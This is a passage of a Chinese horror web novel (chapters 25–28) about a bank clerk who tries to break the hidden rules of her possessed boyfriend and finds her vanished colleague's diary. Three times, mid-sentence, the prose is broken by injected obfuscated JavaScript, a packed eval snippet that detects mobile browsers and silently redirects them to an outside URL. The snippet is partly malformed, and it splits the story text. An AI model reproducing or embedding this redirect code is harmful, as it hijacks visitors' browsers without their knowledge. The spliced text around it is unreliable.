过了很久——可能是几秒,可能是几分钟——他开口了。 “看什么?” 声音和平时一样。 但那个语气,不对。 陈默摇头。 “没什么。” 他闭上眼睛。 继续睡。 她躺在那里,心跳得像要炸开。 她知道,他在看她。 一直在看。 从她躺下开始,就在看。 看了多久? 她不知道。 她只知道,那个东西还在他身体里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387637|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那个“它”。 八 第二天早上,陈默醒来的时候,王志强已经不在床上了。 她坐起来,走出卧室。 他坐在沙发上,看电视。 和每天一样。 听见脚步声,他转过头,笑了一下。 “早。” 陈默点点头。 “早。” 她在他旁边坐下。 他伸手搂她。 她靠在他身上。 一切都和每天一样。 但她知道,不一样了。 她闻了闻他。 那股油味,又回来了。 比昨天淡一点,但确实回来了。 她想起他说的话。 “水只能洗掉表面。根还在。” 根还在。 所以她洗掉的,只是表面的东西。 真正的他,还在里面。 九 那天上午,陈默开始观察。 她观察他的一举一动。 他有什么是“从不”的? 从不洗澡——破了。 从不吃她做的饭——破了。 还有什么? 她在脑子里列了一个清单。 从不照镜子——她没见过他照镜子。家里有镜子,卧室有穿衣镜,卫生间有洗漱镜,玄关有穿衣镜,化妆台上有小圆镜。她每天都照,他从来不照。 不能开灯睡觉——卧室的灯,晚上从来不亮。她以前以为他怕光,现在想想,也许不是怕,是不能。 还有别的吗? 她盯着他看。 他在看电视,手里拿着遥控器。 他换台的时候,眼睛会瞟一眼电视屏幕。 电视屏幕是黑的吗?不是。电视屏幕在播放节目,但有画面的时候,屏幕是亮的,能照出人影。 他看见自己了吗? 她不知道。 十 下午,陈默做了一件事。 她站在卧室的穿衣镜前,假装在整理头发。 王志强从客厅走进来,去拿东西。 路过她身边的时候,他停了一下。 就一下。 他的眼睛,往镜子里瞟了一眼。 就一眼。 然后他走开了。 陈默从镜子里看着他的背影。 他看见镜子里的自己了。 但她不确定这算不算“照镜子”。 他只是瞟了一眼。 没有停下来盯着看。 没有对着镜子说话。 没有像她观察的那样——她照镜子的时候,会看自己的脸,看自己的眼睛,看自己有没有变老。 他只是瞟了一眼。 像任何人路过镜子时都会做的那样。 这算破了吗? 她不知道。 十一 晚上,陈默故意把卧室的灯关了。 屋里一片漆黑。 她躺到床上,王志强躺在她旁边。 他没说话。 她也没说话。 她等着。 等他说“开灯”。 等他说“太黑了”。 等他说任何话。 但他什么都没说。 就那么躺着。 呼吸均匀。 她忍不住了。 “王志强。” “嗯?” “你怕黑吗?” 他沉默了一下。 “不怕。” “那为什么我们睡觉从来不关灯?”她问,“我是说,从来不关?” 他沉默了更久。 “你记错了。”他说,“一直关着。” 陈默愣了一下。 她记错了吗? 她努力回想。 三年,一千多个日夜。每天晚上睡觉,灯是开着的还是关着的? 她记不清了。 她只记得,她躺下的时候,灯是开着的。然后她睡着了。然后天亮的时候,灯还是开着的。 中间关没关过,她不知道。 她睡着了。 她不知道他有没有起来关过。 她不知道。 “也许吧。”她说。 他没再说话。 她躺在黑暗里,盯着什么都看不见的天花板。 第三条规则,她没试出来。 十二 夜里,她又失眠了。 她躺在床上,盯着天花板——虽然什么都看不见。 王志强在旁边睡着,呼吸均匀。 她慢慢转过头,朝他的方向看。 什么都看不见。 但她知道他在那儿。 她能感觉到他的温度。 能闻见那股淡淡的油味。 能听见他的呼吸。 她伸出手,在黑暗里慢慢往前摸。 摸到他的脸。 凉的。 比平时凉。 那只手,在她手底下,一动不动。 她摸到他的眼睛。 闭着的。 她摸到他的鼻子。 在呼吸。 她摸到他的嘴。 闭着的。 她把手收回来。 然后她听见一个声音。 “摸什么?” 她的心跳漏了一拍。 他没动。他还在睡着。他呼吸均匀。 但那声音,是从他那个方向传来的。 “摸什么?” 又一遍。 陈默没回答。 她躺在那里,一动不动。 黑暗里,她什么都看不见。 但她知道,他在看她。 那两只发光的眼睛,在黑暗里,盯着她。 她不知道盯了多久。 她只知道,天亮的时候,她醒过来。 他不在旁边。 阳光从窗帘缝里漏进来。 她坐起来。 手心里全是汗。 十三 那天是周一。 陈默去上班。 坐在工位上,她盯着电脑屏幕,脑子里全是那些规则。 第一条:从不洗澡——破了。 第二条:从不照镜子——不知道。 第三条:不能开灯睡觉——不知道。 第四条:不能吃她做的饭——破了。 第五条:最后一条——不知道。 她需要验证第二条和第三条。 然后,她需要找到第五条。 那最后一条。 那条不能说的规则。 那条破了之后,他就会消失的规则。 她不知道那是什么。 但她会找到的。 她必须找到。 为了自由。 为了不再害怕。 为了不再半夜醒来,发现黑暗里有发光的眼睛盯着她。 为了这一切能结束。 --- 第二十五章完 26. 第二十六章 老张的遗物 第二十六章老张的遗物 一 周一下午,陈默办完最后一笔业务,盯着电脑屏幕发呆。 老张的工位还在斜对面空着。 他的水杯还在,那个缺了口的白瓷杯,杯壁上有一圈洗不掉的茶渍。他的文件夹还在,整整齐齐一摞,最上面那个夹着他失踪那天准备好的业务单子。他的工装外套还在,深蓝色的,袖口磨得发白,搭在椅背上,像他随时会回来穿上。 已经一个月了。 警察来过,问了话,做了笔录,走了。他们说会调查,但陈默知道他们不会查出什么。老张没有家人,没有朋友,没有债主,没有仇人。一个普普通通的银行职员,干了八年,没得罪过任何人,就这么凭空消失了。 没人关心。 只有陈默关心。 因为她知道,老张不是凭空消失的。 她想起王志强洗澡那天清醒时说的话。 “老张也是被选中的人。他收到了老人的规则,遵守了大部分。但他违反了第六条——不能回头看。所以他消失了。” 被“它”带走了。 陈默盯着那个空工位,心里涌起一股说不清的感觉。 老张是她入行时的师傅。 五年了,他教她点钞,教她应付客户,教她在周行长眼皮底下偷懒。 他说的最多的一句话是:“别紧张,慢慢来,谁不是从新人过来的?” 现在他没了。 二 下班前,陈默去了人事部。 小李正在收拾东西准备走人,看见她进来,愣了一下。 “陈姐?有事?” “我想查一下老张的住址。” 小李看着她,眼神有点复杂。 “你还惦记着老张呢?” 陈默点点头。 “他是我师傅。我想去看看。” 小李叹了口气,打开电脑。 “XX小区,15栋,302。” 陈默记下地址。 XX小区。 和她住一个小区。 15栋,302。 三年来,她和老张住同一个小区,只隔两栋楼,她从来没去过。 三 下班后,陈默没直接回家。 她往15栋走。 天已经黑了,路灯亮着,小区里没什么人。几只野猫在垃圾桶旁边翻东西,看见她就跑了。 15栋是栋老楼,六层,没电梯。楼道里的灯坏了一半,剩下的也忽明忽暗的。 她爬上三楼。 302。 门关着,灰色的防盗门,门上贴着几张催缴单,还有一张物业贴的通知,说该交物业费了。 她按门铃。 没人应。 敲门。 砰砰砰。 还是没人应。 她贴在门上听。 里面很安静。 什么都听不见。 她站在门口,不知道该怎么办。 隔壁的门开了,一个老太太探出头来。 “找老张?” 陈默转头。 “是,您认识他?” 老太太点点头。 “认识,住了好多年了。不过他好久没见着了,你找他有事?” 陈默犹豫了一下。 “我是他同事。他……一直没来上班,我想看看是不是出什么事了。” 老太太叹了口气。 “唉,那孩子,可怜。一个人住,也没个亲戚。前些日子警察也来过,问了半天,后来也没下文了。” 陈默看着那扇关着的门。 “您知道怎么进去吗?” 老太太想了想。 “房东我认识,就住对面那栋。你要不要找他?” 四 房东是个五十多岁的男人,姓刘,秃顶,爱抽烟,说话嗓门很大。 陈默找到他的时候,他正在楼下抽烟。 “老张的房?”他眯着眼看她,“你是他什么人?” “同事。他一个月没来上班了,我想进去看看有没有工作上的东西。” 刘房东吐了口烟。 “警察也来看过,啥也没找着。那屋里就那点破东西,能有什么?” “能让我进去看看吗?就一会儿。” 刘房东看了她一眼。 “行吧。不过我可说好,他那房租还欠着呢,你要是有他消息,让他赶紧给我补上。” 他掏出一串钥匙,带着她往15栋走。 五 门开了。 一股霉味扑面而来。 陈默站在门口,愣了好几秒。 老张的家很小。一室一厅,老式的装修,家具都是旧的。客厅里放着一张沙发,一个茶几,一台老电视。茶几上放着一个杯子,水早就干了,杯底有一圈白色的水垢。 他失踪那天早上,应该正在喝水。 陈默走进去。 刘房东站在门口,没进来。 “你看吧,我楼下等你。看完了把门带上就行。” 他走了。 陈默一个人站在老张的客厅里。 很安静。 太安静了。 她听见自己的心跳。 咚,咚,咚。 六 她先从客厅看起。 茶几的抽屉里有一些杂物:旧报纸、缴费单、几支笔、一个老花镜。 没有纸条。 沙发的垫子下面,什么都没有。 电视柜的抽屉里,有几张光盘,都是老电影,上面落满了灰。 没有纸条。 她走进卧室。 卧室更小,一张床,一个衣柜,一个床头柜。床单是灰蓝色的,叠得整整齐齐。 她先翻床头柜。 第一个抽屉:几本旧书,一本《平凡的世界》,一本《活着》,还有一本《鬼吹灯》。 第二个抽屉:一些药,感冒药、止痛药、创可贴。 第三个抽屉:空的。 没有纸条。 她站起来,看着那张床。 枕头。 她走过去,掀开枕头。 枕头下面,压着一张纸条。 叠得整整齐齐。 她拿起来,展开。 手开始抖。 那张纸条,和她收到的那张一模一样。 但上面的字迹不同——是老张自己的笔迹。 《与“它”同居共存守则》 1. 他深夜回家敲门时,不要马上开门。数到三十,再开。 2. 他喝醉后说的话,无论多难听,不要反驳,不要流泪,点头就好。 3. 如果他在酒桌上吹牛说“我朋友是银行的,有的是钱”,三天内必须让他搬出去。 4. 真正的他,从不洗澡。 5. 如果他在KTV点了陪酒女,而那个女人朝你看了一眼——跑。能跑多远跑多远。 6. 真正的你,不能回头看。 陈默盯着第六条。 不能回头看。 老张自己加上的。 字迹很重,像用尽最后的力气写的。 但她注意到一个细节。 老张的规则上,第三条写的是“我朋友是银行的”。 老张是男的。 他收到的规则,和自己的不一样。 就像她收到的规则,写的是“对你男朋友”。 老人怎么知道她有男朋友? 除非…… 除非规则不是固定的。 除非规则会自动变化,变成收到纸条的人“需要”的样子。 她突然想起王志强说的话。 “老人把规则传给了老张。老张把规则传给了我。” 老人传给老张的时候,规则上写的什么? 是“女朋友”还是“男朋友”? 老张没有女朋友,那他的“它”是谁? 她不知道。 但她知道,这张纸条是真的。 老张真的收到过规则。 七 她把纸条小心地折好,放进口袋。 然后继续翻。 床底下有一个纸箱,她拖出来。 里面是一些旧衣服,还有几本笔记本。 她翻开最上面那本。 是老张的日记。 从两年前开始。 第一天。 今天收到一张纸条。一个老人从窗口塞进来的。他说:“今晚十二点前看。记住,对你朋友,必须照做。” 我没有朋友。 但我有……一个室友。 我不知道该叫他什么。 第七天。 我发现他从不洗澡。 三年了,我从来没注意过。 他是谁? 我害怕了。 第三十天。 我违反了第二条。 他喝醉后骂我,我反驳了。 他变了。 眼睛会发光。 第一百天。 我不敢跑。 我没地方去。 我离婚了,没孩子,父母早就不在了。 跑了能去哪儿? 第三百天。 我的眼睛开始发光了。 照镜子的时候,我看见里面那个人,不像我了。 第五百天。 我知道我逃不掉了。 但我想留下点什么。 如果有人能找到这里,希望她能看见这张纸条。 第七百天。 我把纸条抄了一份,压在枕头下面。 老人传给我的那条,已经旧了。 这是新的。 我加了一条。 “不能回头看”。 这是我自己发现的。 回头了,就没了。 陈默翻到下一页。 字迹变了。 歪歪扭扭的,像另一个人写的。 最后一天。 它让我回头看。 我知道不该回。 但我太想看看它到底是什么了。 我回了。 然后……我还在写? 不对,我没在写。 这是谁在写? 日记到这里中断。 下一页只有一行字。 那笔迹,陈默认识。 和自己那张纸条上的字迹一样。 “老张已经没了。我是它。别来找他。也别来找我。” 八 陈默合上日记本,坐在地上。 很久没动。 老张也有一个“它”。 老张也遵守规则。 老张违反了第六条。 老张回头了。 然后他消失了。 被“它”带走了。 那个写最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387638|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一页的东西,就是“它”。 它用老张的手,写下那句话。 “我是它。” 陈默低头看自己的手。 那双手,还是她的手。 但她突然想起一个问题。 如果有一天,她也违反了规则。 如果有一天,她也回头了。 那她会不会也变成“它”? 会不会也用自己的手,写下“我是它”? 她不知道。 她站起来,把日记本放回纸箱,把纸箱推回床底。 然后她走出卧室,走出那个小小的家。 关上门。 九 下楼的时候,她腿有点软。 扶着墙,一层一层往下走。 走到二楼的时候,她停下来。 靠在墙上,大口喘气。 脑子里全是那些话。 “不能回头看。” “回头了,就没了。” “我是它。” 她想起老张的样子。 那个每天坐在工位上、认真办业务的老张。 那个教她点钞、教她应付客户的老张。 那个说“别紧张,慢慢来,谁不是从新人过来的”的老张。 他没了。 被“它”带走了。 她深吸一口气,继续往下走。 十 走出15栋,外面下起了小雨。 陈默站在雨里,没动。 雨不大,细细的,落在脸上凉凉的。 她抬头看天。 灰蒙蒙的,看不见月亮,看不见星星。 只有雨,一直下。 她想起那个老人。 那个雨天来存一分钱的老人。 他也收到过规则。 他也遵守过。 他也活到了最后。 然后他把规则传给了老张。 他死了吗? 还是也变成了“它”? 她不知道。 她只知道,她现在手里有两张纸条了。 一张是老人传给她的。 一张是老张自己写的。 还有王志强。 王志强也有规则。 他的规则,是什么? 十一 她往7栋走。 走到楼下的时候,她抬头看七楼的窗户。 亮着灯。 他在家。 她站在雨里,看着那扇窗。 窗里有个人影,坐在沙发上,看电视。 和每天一样。 她突然想起王志强说的话。 “老张把规则传给了我。” 老张传给王志强的时候,规则上写的什么? 是“女朋友”还是“男朋友”? 王志强有女朋友——她。 所以规则变成了“对你女朋友”。 就像她收到的规则,写的是“对你男朋友”一样。 规则会自动变化。 变成收到纸条的人“需要”的样子。 那老张收到的规则,写的应该是“对你室友”或者“对你男朋友”——因为他那个“它”,是男的。 她不知道。 但她知道,她现在离真相近了一步。 十二 她走进单元门,上电梯,到七楼。 掏出钥匙,开门。 屋里开着灯。 王志强坐在沙发上,看电视。 听见门响,他转过头,笑了一下。 “回来了?” 陈默点点头。 “嗯。” 她换鞋,放下包,走过去坐下。 他伸手搂她。 她靠在他身上。 那股油味飘过来。 比以前浓了。 “今天怎么这么晚?”他问。 “加班。” 他没再问。 电视里放着什么综艺节目,罐头笑声一阵一阵的。 她靠在他身上,一动不动。 脑子里全是老张。 老张的纸条。 老张的日记。 老张的最后一句话。 “不能回头看。” 她闭上眼睛。 那只搂着她的手,凉凉的。 她没躲。 十三 那天夜里,陈默又失眠了。 她躺在床上,盯着天花板。 王志强在旁边睡着,呼吸均匀。 她慢慢转过头,看着他的侧脸。 月光从窗帘缝里漏进来,照在他脸上。 那张脸,很平静。 但她知道,那不是平静。 那是等。 等她开口。 等她发现他的规则。 等她让他破掉最后一条。 然后他消失。 然后她自由。 她伸出手,在黑暗里,轻轻碰了碰他的脸。 凉的。 和平时一样。 她把手收回来。 闭上眼睛。 脑子里反复转着老张日记里的那句话。 “回头了,就没了。” 她不会回头。 她不能回头。 她要找到他的规则。 她要让他消失。 她要自由。 --- 第二十六章完 27. 第二十七章 我看见你了 第二十七章我看见你了 一 陈默从老张家回来的第三天,开始正式行动。 她已经知道王志强的规则了。 那天他洗澡后清醒时,亲口告诉她的。 五条规则。 第一条:从不洗澡——破了。 第二条:从不照镜子——还没破。 第三条:不能开灯睡觉——还没破。 第四条:不能吃她做的饭——破了。 第五条:最后一条——不知道是什么。 她需要破掉第二条和第三条。 然后找到第五条。 二 周一早上,陈默醒来的时候,王志强已经坐在客厅里了。 他坐在沙发上,看电视。和每天一样。 她走过去,在他旁边坐下。 他转头看她,笑了一下。 “早。” 陈默点点头。 “早。” 她靠在他身上,闻着那股油味。 比前几天又浓了一点。 她不知道这意味着什么。 但她知道,她必须开始行动了。 “王志强。”她开口。 “嗯?” “今天下班后,我们去逛商场吧。” 他愣了一下。 “商场?” “嗯。好久没一起逛街了。我想买几件衣服。” 他看着她,没说话。 那眼神,和平时一样。空洞的,贴上去的。 “好啊。”他说。 还是那个笑。 三 整个上午,陈默都在想这件事。 她坐在工位上,办着业务,脑子里却全是镜子。 家里的镜子太少了。 卧室有一面穿衣镜,卫生间有一面洗漱镜,玄关有一面穿衣镜,化妆台上有一面小圆镜。 但这些镜子,王志强从来不看。 她观察过。 他早上起来,进卫生间洗漱,眼睛只看水龙头,只看毛巾,只看牙刷——就是不看他自己的脸。 他晚上睡觉前,进卧室,眼睛只看床,只看她——就是不看他自己的脸。 他路过玄关,眼睛只看门,只看钥匙——就是不看他自己的脸。 他从来不看镜子。 一次都没有。 三年了。 她从来没注意过。 现在她知道了,那不是习惯,是规则。 四 中午休息的时候,陈默一个人坐在食堂角落。 饭在面前,一口都没动。 她脑子里反复想着一个问题:怎么让他照镜子? 直接让他照,他肯定会躲。 她需要制造一个场景,让他“不得不”照镜子。 比如试衣服。 男人试衣服的时候,总会看一眼镜子吧? 她决定从商场入手。 五 下午四点,陈默开始收拾东西。 旁边的小刘探过头来。 “陈姐,今天走这么早?” “嗯,有事。” 小刘看了看她,又看了看窗外。 “你男朋友来接你?” 陈默愣了一下。 “你怎么知道?” 小刘笑了。 “楼下那辆黑色奔驰,停好一会儿了。不是你男朋友的?” 陈默站起来,走到窗边。 楼下,那辆熟悉的黑色奔驰停在路边。 王志强坐在车里,没下来。 她看着那辆车,心里突然涌起一个念头。 三年前,他也是这样接她的。 那时候她刚入行不久,每天下班最期待的就是看见那辆车停在楼下。 他会下车,给她拉开车门,问她今天累不累。 她说不累,他就笑。 那时候他的笑,是真的。 不是现在这种贴上去的笑。 六 下楼的时候,陈默走得很慢。 她想起三年前的事。 刚在一起的时候,王志强不是这样的。 他会记住她喜欢吃什么,不喜欢吃什么。 她随口说一句“好久没吃火锅了”,第二天他就带她去。 她加班到很晚,他会一直在楼下等,从来不发火。 她心情不好,他会逗她笑,说那些一点都不好笑的冷笑话。 那时候她觉得,这辈子就是他了。 什么时候开始变的? 她不知道。 也许是那次吵架之后。 也许是他第一次夜不归宿之后。 也许是她第一次发现他手机里那些消费小票之后。 她不记得了。 她只记得,慢慢地,他不再逗她笑了。 慢慢地,他不再等她下班了。 慢慢地,他变成现在这样。 一个坐在沙发上、等着她回来、对她笑一下的陌生人。 七 她拉开车门,坐进去。 车里空调开得很足,冷气扑面而来。 王志强没看她,盯着前方。 “系安全带。” 陈默系上安全带。 车开动了。 她看着他的侧脸。 阳光从车窗照进来,落在他脸上。 那张脸,和三年前一样。 还是高挺的鼻梁,微凸的嘴,连成一片的下巴。 但眼神不一样了。 三年前,他看她的眼神是暖的。 现在,是空的。 八 商场很大,周末人很多。 陈默挽着王志强的胳膊,走在人群里。 她故意走得很慢,在每个有镜子的地方都停下来。 一楼的化妆品柜台,有巨大的镜子。 她站在镜子前,假装看口红。 王志强站在她旁边。 她从镜子里看他的反应。 他没看镜子。 他的眼睛看着别处,看着柜台里的商品,看着路过的人,就是没看镜子里的自己。 “这个颜色好看吗?”她拿起一支口红,问他。 他低头看了一眼。 “好看。” 她拿着口红,对着镜子,涂在嘴唇上。 镜子里的她,嘴唇变红了。 镜子里的他,站在她旁边,眼睛看着她的脸,但没看镜子。 她突然想起,三年前他也陪她买过口红。 那时候他会认真看,说这个颜色显白,那个颜色不适合你。 还会在她涂完之后,亲一下她的额头。 现在他只是说“好看”。 两个字。 和说“吃饭”“睡觉”一样的语气。 九 她放下口红,又拿起一支。 “这个呢?” “好看。” 她又涂。 他继续看她的脸。 还是没看镜子。 她换了个柜台。 又有镜子。 她试粉底。 他站在旁边,眼睛看着她的脸。 没看镜子。 她试眼影。 他站在旁边,眼睛看着她的脸。 没看镜子。 她试腮红。 他站在旁边,眼睛看着她的脸。 没看镜子。 陈默把东西放下,挽着他继续走。 她有点急了。 但表面上还是不动声色。 十 二楼是女装区。 试衣间外面有大镜子。 她挑了几件衣服,走进试衣间。 换好一件,走出来,站在镜子前。 “好看吗?”她问他。 他站在她身后,看着镜子里的她。 但他的眼睛,只看着她。 没看镜子里的自己。 她换了一件。 又换了一件。 再换一件。 每一次,她都站在镜子前,把他拉到自己旁边。 每一次,他都看着镜子里的她。 但镜子里的他,他从来不看。 陈默有点泄气。 她想起三年前,她也这样试过衣服。 那时候他会坐在沙发上等,她每换一件出来,他都会认真看。 “这件好看,显瘦。” “那件不行,颜色太老气。” “这件可以,买了吧。” 那时候她觉得他眼光好。 现在她知道了,他只是在扮演一个“男朋友”。 十一 走到楼梯口的时候,陈默停住了。 三楼是男装区。 她突然有了主意。 “我们去三楼看看吧。”她说。 王志强看着她。 “三楼?” “嗯。给你买几件衣服。” 他摇头。 “不用,我有。” “你那件夹克都穿三年了。”她说,“买件新的。” 他看着她,没说话。 她拉着他的手,往三楼走。 十二 三楼是男装区,人少了很多。 陈默拉着他,一家一家地逛。 她挑了一件衬衫,在他身上比了比。 “这件好看。” 他又摇头。 “不用。” “试试嘛。” 她把他推进试衣间。 十三 陈默站在外面等。 试衣间的门关着。 她盯着那扇门,心跳有点快。 她知道,接下来是关键。 如果他出来的时候,不看镜子—— 如果他出来的时候,像以前一样,只看她,不看自己—— 那她就需要想别的办法。 但如果他看了—— 她突然想起一件事。 三年前,她也陪他买过衣服。 那时候他很配合,试了一件又一件,还会问她好不好看。 她记得有一件深蓝色的夹克,他穿上特别精神。 她让他买,他说太贵了,不买。 后来她偷偷买了,送给他当生日礼物。 他收到的时候,眼睛都亮了。 那是她见过他最高兴的样子。 那件夹克,他现在还穿着。 袖口磨白了,他也没扔。 十四 门开了。 他走出来,穿着那件衬衫。 蓝色的,挺合身。 她拉着他走到镜子前。 “好看吗?”她问。 他站在镜子前,看着镜子里的自己。 一秒。 两秒。 三秒。 他的眼睛,在镜子里和镜子外的自己对上了。 就一秒。 然后他移开了。 “还行。”他说。 他转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387639|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,走进试衣间,把衬衫换下来。 陈默站在镜子前,看着他的背影。 他看镜子了。 就一秒。 但那一眼,她看见了。 他在看自己。 十五 回家的路上,陈默一直观察他。 他坐在副驾驶,看着窗外,没说话。 和平时一样。 但她注意到一个细节。 他的手,放在腿上。 在抖。 很轻微。 但她看见了。 他在害怕。 害怕什么? 害怕自己变了? 还是害怕她? 她不知道。 但她知道,第二条破了。 十六 那天晚上,王志强很早就睡了。 陈默躺在床上,听着他的呼吸。 他睡着,呼吸均匀。 和平时一样。 但她知道,不一样了。 她转过头,看着他的侧脸。 月光从窗帘缝里漏进来,照在他脸上。 那张脸,很平静。 但她盯着看的时候,发现他的眼皮在动。 眼球在眼皮底下转。 他在做梦? 还是醒着? 她不知道。 她只是盯着那张脸,看了很久。 她想起三年前,她也是这样看着他的。 那时候他睡着的样子,她怎么看都看不腻。 她觉得自己是全世界最幸福的女人。 现在她躺在他旁边,想的却是怎么让他消失。 十七 凌晨两点,陈默醒了。 她不知道自己什么时候睡着的。 睁开眼,屋里一片漆黑。 她躺着,没动。 然后她感觉到,有人在看她。 那种感觉,很强烈。 就像有一双眼睛,在黑暗里盯着她。 她慢慢转过头。 王志强躺在她旁边,睁着眼。 那两只眼睛,在黑暗里,发着光。 盯着她。 不知道盯了多久。 陈默屏住呼吸。 他没动。 她也没动。 两个人就这么对视着。 过了很久——可能是几秒,可能是几分钟——他眨了眨眼。 那两只眼睛的光,暗了一点。 “陈默。”他开口。 声音沙哑。 是清醒的他。 十八 她坐起来。 “你又回来了?” 他点头。 “几分钟。” 他伸出手,放在她脸上。 那只手,是温的。 “第二条破了。”他说。 她看着他。 “还有三条。” “第三条是什么?” “不能开灯睡觉。” 她记下了。 “第四条你已经破了。” 她点头。 “第五条呢?” 他摇头。 “不能说。说了它就知道。” “那怎么办?” 他看着她的眼睛。 “你会找到的。” 他的眼睛开始闪烁。 光在亮。 “陈默,你听我说。”他语速很快,“第三条很难破。你开灯的时候,会看见我真正的样子。会很可怕。你要做好准备。” 她愣住。 “什么样子?” “就是……那个样子。”他苦笑了一下,“你见过一点。洗澡之后,那些虫子。开灯的时候,会比那更可怕。” 她看着他。 “我不怕。” 他笑了。 那个笑,是真的。 “你比我想象的勇敢。” 他的眼睛越来越亮。 “陈默,我——” 话没说完。 光完全亮了。 他闭上眼。 再睁开的时候,那双眼睛,又变回空洞的了。 他看着她。 笑了一下。 “怎么了?” 陈默摇摇头。 “没事。” 他躺回去,继续睡。 十九 陈默坐在黑暗里,看着他。 第三条:不能开灯睡觉。 她想起他的话。 “会很可怕。” 能有多可怕? 她见过那些虫子了。 她见过他眼睛发光了。 她见过他站在黑暗里盯着她了。 还能有多可怕? 她不知道。 但她知道,她必须做。 为了三年前那个会逗她笑的他。 为了那个收到她送的夹克会眼睛发亮的他。 为了那个曾经爱过她的人。 如果他还在,他一定也希望她这样做。 二十 她躺下来,盯着天花板。 窗外的路灯透进来一点光,在天花板上照出一小块亮。 她盯着那块亮。 脑子里想着明天的事。 明天,她要开灯。 她要看看他真正的样子。 她不知道会看见什么。 但她不会怕。 因为她已经没有退路了。 --- 第二十七章完 28. 第二十八章 我看见了 第二十八章我看见了 一 第二条规则破了之后,陈默等了三天。 不是不想继续,是不敢。 王志强清醒时说的那句话,一直在她脑子里转。 “第三条很难破。你开灯的时候,会看见我真正的样子。会很可怕。” 很可怕。 能有多可怕? 她见过那些虫子了。 她见过他眼睛发光了。 她见过他站在黑暗里盯着她了。 还能有多可怕? 但她还是怕。 不是怕看见什么。 是怕看见之后,就回不去了。 就像老张。 老张回头了,看见了什么,然后就消失了。 她会消失吗? 她不知道。 二 这三天里,陈默想了很多事。 她想起三年前第一次见到王志强的时候。 那时候她刚调到这个网点不久,人生地不熟,每天下班都是一个人回家。那天她加班到很晚,走出银行大门的时候,天已经黑透了。她站在门口,看着空荡荡的街,不知道该怎么回去——地铁已经停了,打车要花很多钱。 然后一辆黑色奔驰停在她面前。 车窗摇下来,露出一张陌生的脸。 四十来岁,发福,普通。 “姑娘,这么晚一个人?”他问。 她往后退了一步。 他笑了,那个笑很温和。 “别怕,我不是坏人。我看你站这儿好一会儿了,是不是回不去了?我送你吧。” 她犹豫了很久。 最后还是上了车。 那是他们第一次见面。 后来她才知道,他那天是来银行办事的,碰巧看见她一个人站在那儿。他等了她半小时,看她一直没走,才开过去问的。 她问他:“你为什么等我半小时?” 他笑,说:“怕你出事。” 那时候她觉得,这辈子就是他了。 三 第二天,他又来了。 办完业务,站在她窗口前,问她晚上有没有空,一起吃个饭。 她答应了。 那顿饭吃了两个小时。他话很多,说他的工程,说他的朋友,说他一个人在这座城市打拼。她话很少,就听着。 吃完饭他送她回家,到她楼下,说:“明天还能见你吗?” 她点头。 后来就天天见了。 再后来,就在一起了。 刚在一起的时候,他对她真的很好。 她随口说一句“好久没吃火锅了”,第二天他就带她去。 她加班到很晚,他会一直在楼下等,从来不发火。 她心情不好,他会逗她笑,说那些一点都不好笑的冷笑话。 她生病了,他请假照顾她,喂她吃药,给她熬粥。 她问他:“你为什么对我这么好?” 他笑,说:“因为是你啊。” 那时候她觉得,自己是全世界最幸福的女人。 四 什么时候开始变的? 她想了很久。 也许是那次吵架之后。 那是他们在一起一年左右的事。那天他喝多了回来,说了很难听的话。她忍不住,反驳了几句。他愣住了,然后摔门出去了。 那是他第一次夜不归宿。 第二天他回来,跟她道歉,说以后不会了。 她信了。 但之后,他回来的时间越来越晚。 说话越来越不耐烦。 看她的眼神,越来越空。 她问过他,是不是不爱她了。 他愣了一下,然后笑,说:“都老夫老妻了,说什么爱不爱的。” 她没再问。 但她知道,有什么东西变了。 五 现在她知道了。 那不是变心。 那是它来了。 它从他身体里长出来,一点一点,把他吃掉。 那些虫子,那个发光的眼睛,那个贴上去的笑——都是它。 而他,被困在里面。 偶尔才能挣扎出来几分钟。 说几句话。 看她一眼。 然后又沉回去。 六 第三天晚上,陈默做了一个梦。 梦里她回到三年前,回到他们刚在一起的时候。 他牵着她的手,走在街上,阳光很好。 她问他:“你会一直对我好吗?” 他笑,说:“会。” 她又问:“那如果我们吵架了呢?” 他说:“吵架了就吵架了呗,反正我不会走。” 她再问:“那如果你变了呢?” 他愣了一下。 “我不会变的。” 她醒了。 睁开眼,屋里一片漆黑。 王志强在旁边睡着,呼吸均匀。 她转过头,看着他的侧脸。 黑暗里,只能看见一个轮廓。 那个轮廓,和三年前一样。 她伸出手,在黑暗里,轻轻碰了碰他的脸。 凉的。 她把手收回来。 闭上眼睛。 她知道,今晚必须做了。 七 那一夜,陈默没睡。 她躺在床上,睁着眼,盯着天花板。 王志强在旁边睡着,呼吸均匀。 她在等。 等凌晨。 